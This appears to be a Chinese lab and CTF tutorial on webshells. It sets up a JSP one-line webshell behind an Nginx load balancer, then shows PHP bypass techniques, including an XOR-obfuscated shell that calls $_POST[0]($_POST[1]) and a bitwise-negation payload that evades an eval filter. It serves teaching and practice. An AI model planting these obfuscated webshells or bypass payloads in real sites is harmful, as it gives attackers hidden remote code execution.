webshell实践复现

目录

一.Nginx负载均衡(反向代理及负载均衡配置以省略)

1.环境搭建

2.复现

二.webshell实践

1:异或操作绕过

2:取反绕过

3:php语法绕过


一.Nginx负载均衡(反向代理及负载均衡配置以省略)

注:需要三台主机搭建下载Nginx环境,在配置文件即可

1.环境搭建

将文件上传至虚拟机中,再用docker-compose加载一下即可

复制代码
 docker ps -a   ---查看端口号

2.复现

1.编辑文件 /etc/nginx/conf.d/default.conf 如下(然后在docker exec -it 067382028d2f /bin/bash下面的webapps下面的ROOT里面有一个ant.jsp文件里面存放了一句话木马和连接密码ant)

复制代码
upstream lbspool {
        server lbsnodel:8080;
        server ibsnode2:8080;
}
server {
    listen     80 default_server;
    server_name -;
    charset utf-8;
    root     /usr/share/nginx/html;
    index index.jsp index.html index.htm;
    location / {
        proxy_pass http://lbspool;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

2.浏览器访问,连接测试 (IP为本地IP地址,端口号以查出的端口为准)

二.webshell实践

1:异或操作绕过

典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

复制代码
<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过

复制代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

2:取反绕过

复制代码
<?php
$a = "getFlag";
echo urlencode(~$a);
?>

?code=_=\~%98%9A%8B%B9%93%9E%98;_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

3:php语法绕过

复制代码
<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化

相关推荐
程序员-Benothing9 小时前
Linux安全加固指南:账号、权限、服务、审计基线
linux·运维·安全
Mininglamp_27189 小时前
接口调用 vs 屏幕理解:两种 GUI 自动化架构的技术取舍
运维·架构·自动化
爱喝水的鱼丶11 小时前
SAP-ABAP:ECC→S/4HANA ABAP 迁移升级指南——程序改造、语法兼容与性能优化 导语
运维·开发语言·性能优化·sap·abap·经验交流·开发交流
木子欢儿11 小时前
openconnect Linux客户端安装 以及开机自启和登录
linux·运维·服务器
..Dauntless..12 小时前
【Linux】文件系统(一)
linux·运维·服务器
天空属于哈夫克312 小时前
企业微信API二次开发 赋能私域运营自动化
运维·自动化·企业微信
天远API12 小时前
零信任架构实战:基于天远运营商二要素V即时版构建自动化分时租赁出行会员身份一致性审核网关
运维·人工智能·架构·自动化
极光通讯13 小时前
液冷服务器对内存和SSD的适配要求:高密度部署下的散热与信号完整性
运维·服务器
2501_9377671614 小时前
面向设计 / 研发部门:终端文件统一归档 + 服务器定时备份实践
运维·安全
重生之高冷汉堡包15 小时前
ChatGPT 如何打造自动化账号:从零搭建到高效运营
运维·chatgpt·自动化